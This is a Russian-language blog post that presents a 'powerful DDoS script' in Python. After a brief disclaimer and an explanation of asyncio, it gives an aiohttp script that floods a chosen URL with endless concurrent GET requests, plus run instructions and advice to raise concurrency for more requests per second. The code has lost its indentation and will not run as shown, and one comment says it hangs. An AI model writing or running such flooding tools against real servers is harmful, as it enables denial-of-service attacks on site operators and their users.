Новый мощный скрипт для дудоса python 3

Этот скрипт сделан только для информативных целей, вы не должны использовать его в злых умыслах ибо это приследуется законом.

В предыдущих статьях мы уже делали скрипт для создания нагрузок на сервер. Он использовал requests, и многопоточность. Но в современном питоне теперь возможно использовать асинхронность, это более эффективная схема взаимодействия вашего кода и ожиданий операций ввода вывода. Тк в синхронном коде ваша программа блокируется пока запрос завершается, требуется использовать потоки чтобы было возможно делать что-то пока данные от запроса не пришли. Чтобы не приходилось так делать создали асинхронность. Вместо того чтобы ждать пока данные придут, питону ОС сразу сообщает о новых данных и он сразу начинает обрабатывать только то что пришло. Под капотом requests использует запросы ОС: recv, sendv. Они блокируют ваш поток пока не придёт ответ. Но чтобы небыло блокировок существует другое апи: poll, epoll, kqueue. Оно сразу сообщает вам что что-то произошло и ваш код в этот же момент запускается с пришедшими данными.

Все это позволяет более эффективно расходовать ваше время на ожидании, тк вы можете ожидать сразу несколько запросов итд. Например golang стал очень популярным благодаря своим горутинам, это по сути тоже asyncio питона, только без GIL. За счет этого достигается огромная скорость, но вам приходится беспокоится о консистентности данных, и прочих проблемах в многопоточных приложениях. GIL все эти проблемы решает, но поэтому ваш код гораздо медленее. Асинхронность удобна и для нагрузочных тестирований, как в нашем случае ниже. Нужно установить aiohttp и иметь python3. pip install aiohttp

import asyncio, aiohttp, argparse

parser = argparse.ArgumentParser()
parser.add_argument("url", type=str)
parser.add_argument("--concurrency", default=16, type=int)
parser.add_argument("--timeout", default=5, type=int)
args = parser.parse_args()

async def send_request(url):
while True:
try:
async with session.get(url) as resp:
if resp.status != 200:
print('Ошибка сервера')
except aiohttp.client_exceptions.ServerTimeoutError:
print('таймаут')

async def main():
global session
session = aiohttp.ClientSession(
timeout=aiohttp.ClientTimeout(args.timeout)
)

tasks = [
send_request(args.url)
for i
in range(args.concurrency)
]
await asyncio.gather(*tasks)

loop = asyncio.get_event_loop()
loop.run_until_complete(main())

Запускать нужно так:

python 123.py "http://0.0.0.0:8000" --timeout 5

Чем больше --concurrency вы указываете, тем больше асинхронных задач на запросы создаётся и вы получаете большего кол-ва запросов в секунду.

Комментарии

  1. При запуске просто думает бесконечно и не запускает что делать

    ОтветитьУдалить

Отправить комментарий

Популярные сообщения из этого блога

DOS атака при помощи Python

Ведем телеграм канал через питон

Django migrations не видит изменения моделей